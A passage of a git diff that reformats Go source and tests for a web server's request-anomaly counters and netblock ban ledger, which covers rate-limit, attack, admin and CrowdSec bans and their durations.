first = overThreshold{ + count.kind, + count.window, + counted, + threshold, + } passed = true } } @@ -359,12 +378,22 @@ func (c *Counter) lastStart() time.Time { // key returns what tells c from the other counters. func (c *Counter) key() key { - return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name} + return key{ + scope: c.Scope, + netblock: c.Netblock, + asn: c.ASN, + name: c.Name, + } } // counter returns a counter for k, with nothing counted yet. func (k key) counter() *Counter { - return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name} + return &Counter{ + Scope: k.scope, + Netblock: k.netblock, + ASN: k.asn, + Name: k.name, + } } // alertFor returns the anomaly alert for o, a count over its threshold in @@ -404,8 +433,13 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert { ASN: r.ASN, ASName: r.ASName, Country: r.Country, - Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window, - counted, o.threshold), + Reason: fmt.Sprintf( + "%s per %s of %s over the threshold of %d", + o.kind, + o.window, + counted, + o.threshold, + ), Detail: detail, } } diff --git a/internal/anomaly/anomaly_test.go b/internal/anomaly/anomaly_test.go index ddb71ae..81bf9fe 100644 --- a/internal/anomaly/anomaly_test.go +++ b/internal/anomaly/anomaly_test.go @@ -31,7 +31,10 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) { // name one netblock. NetV4Prefix: 32, NamedNetblocks: []anomaly.NamedNetblock{ - {Name: "office", Netblock: office}, {Name: "hq", Netblock: office}, + { + Name: "office", + Netblock: office, + }, {Name: "hq", Netblock: office}, }, Alerts: queue, }) @@ -80,11 +83,16 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) { } if after.Suppressed() != 9 { - t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed()) + t.Errorf( + "after loading, %d alerts are held back, want 9", + after.Suppressed(), + ) } } -func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) { +func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted( + t *testing.T, +) { t.Parallel() counters := newCounters(anomaly.Params{ @@ -103,17 +111,28 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) { got := counters.Snapshot() if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) || !holds(got, maxCounters) { - t.Errorf("%d counters, holding the first client %v, the second %v and the "+ - "new one %v, want %d, the first and the new one", len(got), holds(got, 0), - holds(got, 1), holds(got, maxCounters), maxCounters) + t.Errorf( + "%d counters, holding the first client %v, the second %v and the "+ + "new one %v, want %d, the first and the new one", + len(got), + holds(got, 0), + holds(got, 1), + holds(got, maxCounters), + maxCounters, + ) } } -func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) { +func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters( + t *testing.T, +) { t.Parallel() counters := newCounters(anomaly.Params{ - Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000}, + Net: anomaly.Thresholds{ + RequestsPerMinute: 1000, + RequestsPerHour: 1000, + }, Total: anomaly.Thresholds{RequestsPerMinute: 1000}, NetV4Prefix: 24, }) @@ -142,7 +161,9 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) Hour: ratelimit.Buckets{Start: midnight(), Current: 7}, } if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual( - got, want) { + got, + want, + ) { t.Errorf("counters read\n%+v\nwant\n%+v", got, want) } @@ -192,9 +213,12 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) { got := counters.Snapshot() if !holds(got, 0) || holds(got, maxCounters/2) { - t.Errorf("holding the first client of the file %v, and the first counted in "+ - "the minute before %v, want only the first", holds(got, 0), - holds(got, maxCounters/2)) + t.Errorf( + "holding the first client of the file %v, and the first counted in "+ + "the minute before %v, want only the first", + holds(got, 0), + holds(got, maxCounters/2), + ) } } @@ -225,9 +249,14 @@ func newQueue() *alerts.Queue { // request returns a request from client number i, an address in // 10.0.0.0/8. func request(i int) anomaly.Request { - client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255)) + client := netip.MustParseAddr( + fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255), + ) - return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)} + return anomaly.Request{ + Client: client, + ClientGroup: netip.PrefixFrom(client, 32), + } } // holds reports whether counters hold the counter of client number i. diff --git a/internal/bans/admin_test.go b/internal/bans/admin_test.go index e3fe5e2..dd2c55d 100644 --- a/internal/bans/admin_test.go +++ b/internal/bans/admin_test.go @@ -36,9 +36,21 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) { // then one with an admin's ban before a ban sww made: the one // ban counted toward MaxBans. ledger.Load([]bans.Ban{ - {Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin}, - {Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin}, - {Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin}, + { + Netblock: adminsOnly, + Start: midnight().Add(-3 * time.Hour), + Cause: bans.CauseAdmin, + }, + { + Netblock: adminsOnly, + Start: midnight().Add(-2 * time.Hour), + Cause: bans.CauseAdmin, + }, + { + Netblock: both, + Start: midnight().Add(-time.Hour), + Cause: bans.CauseAdmin, + }, { Netblock: both, Start: midnight(), @@ -50,15 +62,27 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) { // A new ban drops the ban sww made, and only that one. ledger.BanForLimit(second, midnight(), bans.Notes{}) - wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1}) + wantBans( + t, + ledger, + map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1}, + ) if ledger.Bans(both)[0].Cause != bans.CauseAdmin { - t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both)) + t.Errorf( + "%s kept %+v, want the admin's ban", + both, + ledger.Bans(both), + ) } // And the next drops that one. ledger.BanForLimit(third, midnight(), bans.Notes{}) - wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1}) + wantBans( + t, + ledger, + map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1}, + ) } func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) { @@ -74,7 +98,11 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) { // twice, each time after its last ban has ended. ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute), "probes for logins") - first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{}) + first, _ := ledger.BanForLimit( + netblock, + midnight().Add(time.Minute), + bans.Notes{}, + ) second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) // A ban on another netblock fills the ledger, and the netblock's first @@ -119,12 +147,21 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) { ledger := bans.New(defaultParams()) - limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), - bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"}) - byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"), - midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"}) - attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(), - bans.Notes{RuleID: "git-dir", Target: "path"}) + limit, _ := ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.1/32"), + midnight(), + bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"}, + ) + byteLimit, _ := ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.3/32"), + midnight(), + bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"}, + ) + attack, _ := ledger.BanForAttack( + netip.MustParsePrefix("203.0.113.2/32"), + midnight(), + bans.Notes{RuleID: "git-dir", Target: "path"}, + ) for _, tc := range []struct{ got, want string }{ {limit.Reason, "requests per minute over the limit of 1000"}, @@ -166,17 +203,25 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) { ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) if ban.Expires.Sub(ban.Start) != time.Hour || ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { - t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit", - ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans) + t.Errorf( + "the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit", + ban.Expires.Sub(ban.Start), + ban.Notes.EarlierBans, + ) } held := ledger.Bans(netblock) if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) { - t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held) + t.Errorf( + "the ledger holds %+v, want the lifted ban and the new one", + held, + ) } } -func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) { +func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger( + t *testing.T, +) { t.Parallel() // A permanent ban for a clear sign of attack, lifted. @@ -198,13 +243,20 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) { active, permanent := ledger.Count(now) if active != 0 || permanent != 0 { - t.Errorf("%d bans are active and %d permanent, want none", active, permanent) + t.Errorf( + "%d bans are active and %d permanent, want none", + active, + permanent, + ) } // The next clear sign of attack bans for seven days, as a first does. ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{}) if ban.Expires.Sub(ban.Start) != 7*day { - t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires) + t.Errorf( + "the next ban for an attack ends at %s, want seven days on", + ban.Expires, + ) } } @@ -212,8 +264,11 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) { t.Parallel() ledger := bans.New(defaultParams()) - made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), - bans.Notes{}) + made, _ := ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.1/32"), + midnight(), + bans.Notes{}, + ) atStart := bans.Ban{ Netblock: netip.MustParsePrefix("203.0.113.2/32"), Start: midnight(), @@ -223,7 +278,10 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) { ledger.Load([]bans.Ban{made, atStart}) if got := ledger.Made(bans.CauseAdmin); got != 0 { - t.Fatalf("%d bans made by an admin after the start's, want none", got) + t.Fatalf( + "%d bans made by an admin after the start's, want none", + got, + ) } // The admin keeps the ban sww made, keeps the one read at the @@ -236,9 +294,13 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) { } ledger.LoadEdit([]bans.Ban{kept, atStart, added}) - if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 { - t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each", - ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit)) + if ledger.Made(bans.CauseAdmin) != 1 || + ledger.Made(bans.CauseLimit) != 1 { + t.Errorf( + "%d bans made by an admin and %d for a limit, want 1 of each", + ledger.Made(bans.CauseAdmin), + ledger.Made(bans.CauseLimit), + ) } } @@ -264,8 +326,12 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) { Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}}, } - got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{}, - "probes for logins") + got := ledger.BanForAdmin( + netip.MustParsePrefix("203.0.113.9/24"), + now, + time.Time{}, + "probes for logins", + ) if !reflect.DeepEqual(got, want) { t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want) } @@ -277,10 +343,17 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) { } // It refuses once the ban for the limit has ended. - ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour)) + ban, banned, _ := ledger.Find( + netblock.Addr(), + midnight().Add(2*time.Hour), + ) if !banned || !reflect.DeepEqual(ban, want) { - t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v", - ban, banned, want) + t.Errorf( + "after the limit's ban the netblock is under %+v (%t), want %+v", + ban, + banned, + want, + ) } } @@ -312,8 +385,12 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) { now := midnight().Add(time.Minute) lifted := ledger.Lift(client, now) - if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now { - t.Errorf("lifted %+v, want the two active bans covering the client", lifted) + if len(lifted) != 2 || lifted[0].Lifted != now || + lifted[1].Lifted != now { + t.Errorf( + "lifted %+v, want the two active bans covering the client", + lifted, + ) } wantChanged(t, ledger, true) @@ -330,8 +407,11 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) { covering := ledger.Covering(client) if len(covering) != 3 || covering[0].Netblock != wide || !covering[1].Lifted.IsZero() || covering[2].Lifted != now { - t.Errorf("the bans covering the client are %+v, want the /24's and both "+ - "of its own, the earlier not lifted", covering) + t.Errorf( + "the bans covering the client are %+v, want the /24's and both "+ + "of its own, the earlier not lifted", + covering, + ) } // With none active, nothing is lifted or changed. @@ -342,16 +422,26 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) { wantChanged(t, ledger, false) } -func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) { +func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan( + t *testing.T, +) { t.Parallel() client := netip.MustParseAddr("203.0.113.9") ledger := bans.New(defaultParams()) // The temporary ban is made first, so that its netblock is looked at first. - ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{}) - ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{}, - "for good") + ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.9/32"), + midnight(), + bans.Notes{}, + ) + ledger.BanForAdmin( + netip.MustParsePrefix("203.0.113.0/24"), + midnight(), + time.Time{}, + "for good", + ) wantPermanentBan(t, ledger, client, midnight().Add(time.Minute)) } @@ -363,10 +453,19 @@ func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) { ledger := bans.New(defaultParams()) ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good") - ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour), - "for an hour") + ledger.BanForAdmin( + netblock, + midnight().Add(time.Minute), + midnight().Add(time.Hour), + "for an hour", + ) - wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute)) + wantPermanentBan( + t, + ledger, + netblock.Addr(), + midnight().Add(2*time.Minute), + ) } // wantPermanentBan checks that Find and Check return a permanent ban for @@ -382,7 +481,12 @@ func wantPermanentBan( } { ban, banned, _ := look(client, now) if !banned || !ban.Permanent() { - t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned) + t.Errorf( + "%s returned %+v and banned %v, want a permanent ban", + name, + ban, + banned, + ) } } } diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 7b132f6..5b4c64a 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -209,7 +209,10 @@ func New(params Params) *Ledger { // The ledger drops bans itself, and never those whose cause is // CauseAdmin, however many there are, so the LRU has no limit of its // own: it keeps the netblocks in the order they were last seen. - netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil) + netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban]( + math.MaxInt, + nil, + ) if err != nil { panic(err) // NewLRU fails only for a size below one } @@ -312,7 +315,15 @@ func activeBan(bans []Ban, now time.Time) *Ban { func (l *Ledger) BanForLimit( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true) + return l.ban( + netblock, + now, + time.Time{}, + CauseLimit, + limitReason(notes), + notes, + true, + ) } // WouldBanForLimit returns what BanForLimit would, without making the ban: @@ -320,7 +331,15 @@ func (l *Ledger) BanForLimit( func (l *Ledger) WouldBanForLimit( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false) + return l.ban( + netblock, + now, + time.Time{}, + CauseLimit, + limitReason(notes), + notes, + false, + ) } // BanForAttack bans netblock at now for a clear sign of attack, with @@ -331,7 +350,15 @@ func (l *Ledger) WouldBanForLimit( func (l *Ledger) BanForAttack( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true) + return l.ban( + netblock, + now, + time.Time{}, + CauseAttack, + attackReason(notes), + notes, + true, + ) } // WouldBanForAttack returns what BanForAttack would, without making the @@ -339,8 +366,15 @@ func (l *Ledger) BanForAttack( func (l *Ledger) WouldBanForAttack( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, - false) + return l.ban( + netblock, + now, + time.Time{}, + CauseAttack, + attackReason(notes), + notes, + false, + ) } // BanForCrowdSec bans netblock at now until expires, when CrowdSec's @@ -348,19 +382,39 @@ func (l *Ledger) WouldBanForAttack( // whether it made it, as BanForLimit does. Its reason is "CrowdSec's // decision for ", the scenario that made the decision. func (l *Ledger) BanForCrowdSec( - netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes, + netblock netip.Prefix, + now, expires time.Time, + scenario string, + notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes, - true) + return l.ban( + netblock, + now, + expires, + CauseCrowdSec, + crowdSecReason(scenario), + notes, + true, + ) } // WouldBanForCrowdSec returns what BanForCrowdSec would, without making // the ban: what observe mode would have done. func (l *Ledger) WouldBanForCrowdSec( - netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes, + netblock netip.Prefix, + now, expires time.Time, + scenario string, + notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes, - false) + return l.ban( + netblock, + now, + expires, + CauseCrowdSec, + crowdSecReason(scenario), + notes, + false, + ) } // WouldBePermanent reports whether a ban on netblock for cause, CauseLimit, @@ -505,7 +559,10 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban { // about it. It is not a request from netblock, and leaves when it was last // seen unchanged. It does not have bans.json written at once: the notes // are written with its next write, as the counts in them are. -func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) { +func (l *Ledger) AddLookup( + netblock netip.Prefix, + asn, asName, country string, +) { l.mu.Lock() defer l.mu.Unlock() @@ -654,7 +711,10 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool { // keep is true, the ban is not made, only returned: it is the ban that // would have been made. func (l *Ledger) ban( - netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes, + netblock netip.Prefix, + now, expires time.Time, + cause, reason string, + notes Notes, keep bool, ) (Ban, bool) { l.mu.Lock() @@ -675,7 +735,13 @@ func (l *Ledger) ban( } notes.Request = notes.Request.cut() - ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes} + ban := Ban{ + Netblock: netblock, + Start: now, + Cause: cause, + Reason: reason, + Notes: notes, + } switch cause { case CauseAttack: @@ -765,7 +831,9 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban { var first *Ban for _, length := range lengths { - bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked()) + bans, found := l.netblocks.Get( + netip.PrefixFrom(client, length).Masked(), + ) if !found { continue } @@ -798,7 +866,9 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban { var found []*[]Ban for _, length := range lengths { - bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked()) + bans, ok := l.netblocks.Peek( + netip.PrefixFrom(client, length).Masked(), + ) if ok { found = append(found, bans) } @@ -852,13 +922,15 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time { var last *Ban for i, ban := range held { - if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() && + if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && + ban.Lifted.IsZero() && (last == nil || ban.Expires.After(last.Expires)) { last = &held[i] } } - if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow { + if last != nil && + now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow { lastLength := last.Expires.Sub(last.Start) // This is repeatFactor * lastLength > MaxBanDuration, written so // that it cannot overflow. diff --git a/internal/bans/bans_test.go b/internal/bans/bans_test.go index d3d6913..a6b2d9c 100644 --- a/internal/bans/bans_test.go +++ b/internal/bans/bans_test.go @@ -27,8 +27,14 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) { length := time.Duration(hours) * time.Hour if !ban.Expires.Equal(now.Add(length)) || ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) { - t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit", - i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i) + t.Fatalf( + "ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit", + i+1, + ban.Expires.Sub(now), + ban.Notes.EarlierBans, + hours, + i, + ) } now = ban.Expires @@ -65,13 +71,27 @@ func TestRepeatWindowRunsOut(t *testing.T) { ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") - first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) - second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{}) + first, _ := ledger.BanForLimit( + netblock, + midnight(), + bans.Notes{}, + ) + second, _ := ledger.BanForLimit( + netblock, + first.Expires.Add(tc.gap), + bans.Notes{}, + ) if second.Expires.Sub(second.Start) != tc.want || second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { - t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit", - second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want) + t.Errorf( + "second ban lasts %s with earlier bans %+v, want %s and 1 for a limit", + second.Expires.Sub( + second.Start, + ), + second.Notes.EarlierBans, + tc.want, + ) } }) } @@ -84,8 +104,11 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) { params.LimitBanDuration = params.MaxBanDuration + time.Hour ledger := bans.New(params) - ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), - bans.Notes{}) + ban, _ := ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.9/32"), + midnight(), + bans.Notes{}, + ) if !ban.Permanent() { t.Errorf("first ban ends at %s, want a permanent one", ban.Expires) } @@ -106,7 +129,12 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) { for i := range 14 { ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) if !ban.Expires.After(ban.Start) { - t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires) + t.Fatalf( + "ban %d starts at %s and ends at %s", + i+1, + ban.Start, + ban.Expires, + ) } now = ban.Expires @@ -129,17 +157,36 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) { t.Error("the first ban was not made") } - again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{}) + again, made := ledger.BanForLimit( + netblock, + midnight().Add(time.Minute), + bans.Notes{}, + ) - if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 { - t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+ - "want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first) + if made || !reflect.DeepEqual(again, first) || + len(ledger.Bans(netblock)) != 1 { + t.Errorf( + "a limit broken during a ban gave %+v, made %t, and %d bans, "+ + "want %+v, not made, and 1", + again, + made, + len(ledger.Bans(netblock)), + first, + ) } - again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{}) + again, made = ledger.BanForAttack( + netblock, + midnight().Add(time.Minute), + bans.Notes{}, + ) if made || !reflect.DeepEqual(again, first) { - t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made", - again, made, first) + t.Errorf( + "an attack during a ban gave %+v, made %t, want %+v, not made", + again, + made, + first, + ) } } @@ -148,16 +195,26 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) { ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") - ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) + ban, _ := ledger.BanForLimit( + netblock, + midnight(), + bans.Notes{Requests: 5}, + ) for range 3 { - got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) + got, banned, _ := ledger.Check( + netblock.Addr(), + ban.Expires.Add(-time.Nanosecond), + ) if !banned || got.Start != ban.Start { t.Fatalf("check during the ban gives %+v and %t", got, banned) } } - _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight()) + _, banned, _ := ledger.Check( + netip.MustParseAddr("203.0.113.10"), + midnight(), + ) if banned { t.Error("another netblock is banned") } @@ -180,11 +237,23 @@ func TestFindCountsNothing(t *testing.T) { ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") - ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) + ban, _ := ledger.BanForLimit( + netblock, + midnight(), + bans.Notes{Requests: 5}, + ) - got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) + got, banned, _ := ledger.Find( + netblock.Addr(), + ban.Expires.Add(-time.Nanosecond), + ) if !banned || !reflect.DeepEqual(got, ban) { - t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban) + t.Errorf( + "find during the ban gives %+v and %t, want %+v", + got, + banned, + ban, + ) } _, banned, _ = ledger.Find(netblock.Addr(), ban.Expires) @@ -192,12 +261,21 @@ func TestFindCountsNothing(t *testing.T) { t.Error("the ban did not end") } - if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) { - t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes) + if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual( + notes, + ban.Notes, + ) { + t.Errorf( + "the notes are %+v, want them unchanged, %+v", + notes, + ban.Notes, + ) } } -func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) { +func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo( + t *testing.T, +) { t.Parallel() params := defaultParams() @@ -230,7 +308,10 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) { wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1}) if !ledger.Bans(a)[0].Start.Equal(first.Expires) { - t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start) + t.Errorf( + "a kept its ban of %s, want the later one", + ledger.Bans(a)[0].Start, + ) } } @@ -263,41 +344,70 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) { notes := bans.Notes{RuleID: "env-file", Target: "path"} ban, _ := ledger.BanForAttack(netblock, midnight(), notes) - if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack || - ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 || + if !ban.Expires.Equal(midnight().Add(7*day)) || + ban.Cause != bans.CauseAttack || + ban.Notes.RuleID != "env-file" || + ledger.Made(bans.CauseAttack) != 1 || ledger.Made(bans.CauseLimit) != 0 { - t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+ - "want one for an attack, of seven days", ban, - ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit)) + t.Fatalf( + "the ban is %+v, with %d made for an attack and %d for a limit, "+ + "want one for an attack, of seven days", + ban, + ledger.Made(bans.CauseAttack), + ledger.Made(bans.CauseLimit), + ) } wantChanged(t, ledger, true) // In observe mode the ban refuses nothing, and stays as it is, while // Find tells that the request would have made it permanent. - got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour)) - if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent { - t.Fatalf("a request found under the ban left it %+v, would have made it "+ - "permanent %t, want it as it was, and true", got, wouldMakePermanent) + got, _, wouldMakePermanent := ledger.Find( + netblock.Addr(), + midnight().Add(time.Hour), + ) + if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || + !wouldMakePermanent { + t.Fatalf( + "a request found under the ban left it %+v, would have made it "+ + "permanent %t, want it as it was, and true", + got, + wouldMakePermanent, + ) } wantChanged(t, ledger, false) // A request it refuses makes it permanent, says so, and makes // bans.json due. - got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour)) - if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() { - t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+ - "want it made permanent", got, madePermanent) + got, _, madePermanent := ledger.Check( + netblock.Addr(), + midnight().Add(time.Hour), + ) + if !madePermanent || !got.Permanent() || + !ledger.Bans(netblock)[0].Permanent() { + t.Fatalf( + "after a request during the ban, it is %+v, made permanent %t, "+ + "want it made permanent", + got, + madePermanent, + ) } wantChanged(t, ledger, true) // The next request finds it permanent already. - _, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day)) + _, banned, madePermanent := ledger.Check( + 